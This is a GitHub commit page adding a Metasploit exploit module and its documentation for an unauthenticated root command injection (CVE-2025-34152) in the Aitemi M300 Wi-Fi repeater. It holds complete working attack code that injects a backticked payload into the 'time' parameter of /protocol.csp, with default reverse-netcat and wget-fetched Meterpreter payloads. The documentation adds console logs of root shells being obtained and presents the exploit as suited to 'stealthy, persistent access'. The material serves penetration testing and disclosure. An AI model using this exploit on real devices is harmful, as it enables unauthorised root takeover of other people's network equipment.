Skip to content

Commit 1314f5d

Browse files
dledda-r7dledda-r7
authored
Merge pull request #20455 from Chocapikk/aitemi_m300_time_rce
Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152)
2 parents b650776 + f4e71c1 commit 1314f5d

File tree

2 files changed

+257
-0
lines changed

2 files changed

+257
-0
lines changed

‎documentation/modules/exploit/linux/http/aitemi_m300_time_rce.md‎

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **unauthenticated OS command injection** vulnerability
4+
in the **Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02)**.
5+
6+
The vulnerability exists in the `time` parameter of the `time_conf` function, accessible via the `/protocol.csp` endpoint.
7+
When passed to the backend, the parameter is inserted directly into a `date -s` shell
8+
command without sanitization, allowing arbitrary command execution as **root**.
9+
The exploit does **not require authentication**, **does not reboot the device**,
10+
and **does not affect network configuration**, making it suitable for stealthy, persistent access.
11+
12+
The vulnerability is tracked as **CVE-2025-34152**.
13+
14+
### Setup
15+
16+
Purchase the vulnerable device here:
17+
[https://www.aliexpress.us/item/3256806767641280.html](https://www.aliexpress.us/item/3256806767641280.html)
18+
19+
Ensure the repeater is accessible via its management interface (typically `http://192.168.11.1` when connected locally via Wi-Fi).
20+
21+
## Verification Steps
22+
23+
1. Connect to the repeater's Wi-Fi and obtain its IP (usually `192.168.11.1`).
24+
2. Launch **Metasploit Framework**.
25+
3. Use the module:
26+
```
27+
use exploit/linux/http/aitemi_m300_time_rce
28+
```
29+
4. Set the target IP:
30+
```
31+
set RHOSTS [TARGET_IP]
32+
```
33+
5. Choose the appropriate target:
34+
```
35+
set TARGET 0 # For simple reverse shell (netcat)
36+
set TARGET 1 # For Meterpreter payload (may crash HTTP server)
37+
```
38+
6. Execute the exploit:
39+
```
40+
run
41+
```
42+
43+
## Options
44+
45+
None
46+
47+
## Scenarios
48+
49+
### Scenario 1 – Target 0: Unix Reverse Shell (netcat)
50+
51+
```bash
52+
msf6 exploit(linux/http/aitemi_m300_time_rce) > show targets
53+
54+
Exploit targets:
55+
=================
56+
57+
Id Name
58+
-- ----
59+
=> 0 Unix Command Shell (reverse_netcat)
60+
1 Linux Meterpreter MIPSBE (MAY crash HTTP worker)
61+
62+
63+
msf6 exploit(linux/http/aitemi_m300_time_rce) > set payload cmd/unix/reverse_netcat
64+
payload => cmd/unix/reverse_netcat
65+
msf6 exploit(linux/http/aitemi_m300_time_rce) > run http://192.168.11.1
66+
[*] Started reverse TCP handler on 192.168.11.208:1337
67+
[*] Running automatic check ("set AutoCheck false" to disable)
68+
[+] Favicon hash matched – likely Aitemi M300 device
69+
[+] HTTP server version matched: lighttpd/1.4.32
70+
[+] HTML fingerprint matched in home.html – UI strings detected
71+
[+] The target is vulnerable. HTML language markers confirmed
72+
[*] Command shell session 4 opened (192.168.11.208:1337 -> 192.168.11.1:58090) at 2025-08-07 01:02:06 +0200
73+
74+
id
75+
uid=0(root) gid=0(root)
76+
uname -a
77+
Linux Srepeater 4.4.194 #0 Fri Jun 30 03:16:53 2023 mips GNU/Linux
78+
ls -l
79+
drwxr-xr-x 2 root root 775 Sep 25 23:32 bin
80+
drwxr-xr-x 3 root root 860 Sep 25 23:32 dev
81+
drwxrwxr-x 1 root root 0 Sep 25 23:33 etc
82+
drwxr-xr-x 11 root root 441 Sep 25 23:32 lib
83+
drwxr-xr-x 2 root root 0 Sep 25 23:32 media
84+
drwxr-xr-x 2 root root 3 Sep 25 23:32 mnt
85+
drwxr-xr-x 5 root root 0 Sep 25 23:32 overlay
86+
dr-xr-xr-x 58 root root 0 Jan 1 1970 proc
87+
drwxr-xr-x 17 root root 235 Sep 25 23:32 rom
88+
drwxr-xr-x 2 root root 3 Sep 25 23:32 root
89+
drwxrwxr-x 2 root root 707 Sep 25 23:32 sbin
90+
dr-xr-xr-x 11 root root 0 Jan 1 1970 sys
91+
drwxrwxrwt 16 root root 500 Sep 25 23:33 tmp
92+
drwxr-xr-x 7 root root 89 Sep 25 23:32 usr
93+
lrwxrwxrwx 1 root root 4 Sep 25 23:32 var -> /tmp
94+
drwxr-xr-x 1 root root 0 Sep 25 23:32 webs
95+
drwxr-xr-x 4 root root 67 Sep 25 23:32 www
96+
```
97+
98+
### Scenario 2 – Target 1: Meterpreter MIPSBE Payload
99+
100+
```bash
101+
msf6 exploit(linux/http/aitemi_m300_time_rce) > set target 1
102+
target => 1
103+
msf6 exploit(linux/http/aitemi_m300_time_rce) > set payload cmd/linux/http/mipsbe/meterpreter/reverse_tcp
104+
payload => cmd/linux/http/mipsbe/meterpreter/reverse_tcp
105+
msf6 exploit(linux/http/aitemi_m300_time_rce) > run http://192.168.11.1
106+
[*] Started reverse TCP handler on 192.168.11.208:1337
107+
[*] Running automatic check ("set AutoCheck false" to disable)
108+
[+] Favicon hash matched – likely Aitemi M300 device
109+
[+] HTTP server version matched: lighttpd/1.4.32
110+
[+] HTML fingerprint matched in home.html – UI strings detected
111+
[+] The target is vulnerable. HTML language markers confirmed
112+
[*] Sending stage (1358312 bytes) to 192.168.11.1
113+
[*] Meterpreter session 10 opened (192.168.11.208:1337 -> 192.168.11.1:41150) at 2025-08-07 01:12:10 +0200
114+
115+
meterpreter > sysinfo
116+
Computer : Srepeater.lan
117+
OS : (Linux 4.4.194)
118+
Architecture : mips
119+
BuildTuple : mips-linux-muslsf
120+
Meterpreter : mipsbe/linux
121+
meterpreter > getuid
122+
Server username: root
123+
meterpreter >
124+
```
125+

‎modules/exploits/linux/http/aitemi_m300_time_rce.rb‎

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'digest'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)',
19+
'Description' => %q{
20+
This module exploits an unauthenticated remote command injection vulnerability
21+
in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability
22+
lies in the 'time' parameter of the time configuration endpoint, which is passed
23+
unsanitized to a shell command executed via the `date -s` mechanism. The injection
24+
executes with root privileges, without requiring authentication, reboot, or
25+
network reconfiguration.
26+
},
27+
'Author' => [
28+
'Valentin Lobstein' # Vulnerability discovery and Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => [
32+
['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'],
33+
['CVE', '2025-34152']
34+
],
35+
'Platform' => %(linux unix),
36+
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
37+
'Payload' => {
38+
'BadChars' => "\x60"
39+
},
40+
'Targets' => [
41+
[
42+
'Unix Command',
43+
{
44+
'Platform' => 'unix',
45+
'Arch' => ARCH_CMD,
46+
'DefaultOptions' => {
47+
'PAYLOAD' => 'cmd/unix/reverse_netcat'
48+
}
49+
}
50+
],
51+
[
52+
'Linux Meterpreter MIPSBE (MAY crash HTTP worker)',
53+
{
54+
'Platform' => 'linux',
55+
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
56+
'DefaultOptions' => {
57+
'FETCH_DELETE' => true,
58+
'FETCH_COMMAND' => 'WGET',
59+
'FETCH_WRITABLE_DIR' => '/tmp',
60+
'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp'
61+
}
62+
}
63+
]
64+
],
65+
'DefaultTarget' => 0,
66+
'Privileged' => true,
67+
'DisclosureDate' => '2025-08-07',
68+
'Notes' => {
69+
'Stability' => [CRASH_SERVICE_DOWN],
70+
'Reliability' => [REPEATABLE_SESSION],
71+
'SideEffects' => [IOC_IN_LOGS]
72+
}
73+
)
74+
)
75+
end
76+
77+
def check
78+
fingerprint_hits = []
79+
80+
res = send_request_cgi(
81+
'method' => 'GET',
82+
'uri' => normalize_uri(target_uri.path, 'favicon.ico')
83+
)
84+
85+
return CheckCode::Unknown('No response from target') unless res
86+
return CheckCode::Safe('favicon.ico not found') unless res.code == 200
87+
88+
hash = Digest::SHA256.hexdigest(res.body)
89+
if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee'
90+
print_good('Favicon hash matched – likely Aitemi M300 device')
91+
fingerprint_hits << 'favicon'
92+
end
93+
94+
server_header = res.headers['Server']
95+
if server_header&.start_with?('lighttpd/1.4.32')
96+
print_good("HTTP server version matched: #{server_header}")
97+
fingerprint_hits << 'httpd'
98+
end
99+
100+
%w[index.html home.html].each do |page|
101+
res_html = send_request_cgi(
102+
'method' => 'GET',
103+
'uri' => normalize_uri(target_uri.path, page)
104+
)
105+
106+
next unless res_html&.code == 200
107+
108+
if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)')
109+
print_good("HTML fingerprint matched in #{page} – UI strings detected")
110+
return CheckCode::Appears('HTML language markers confirmed')
111+
end
112+
end
113+
114+
if fingerprint_hits.any?
115+
return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}")
116+
end
117+
118+
CheckCode::Unknown('No identifiable fingerprint found')
119+
end
120+
121+
def exploit
122+
raw_payload = "`#{payload.encoded}`"
123+
encoded_payload = CGI.escape(raw_payload).gsub('+', '%20')
124+
125+
send_request_cgi(
126+
'method' => 'POST',
127+
'uri' => normalize_uri(target_uri.path, 'protocol.csp?'),
128+
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
129+
'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}"
130+
)
131+
end
132+
end

0 commit comments

Comments
 (0)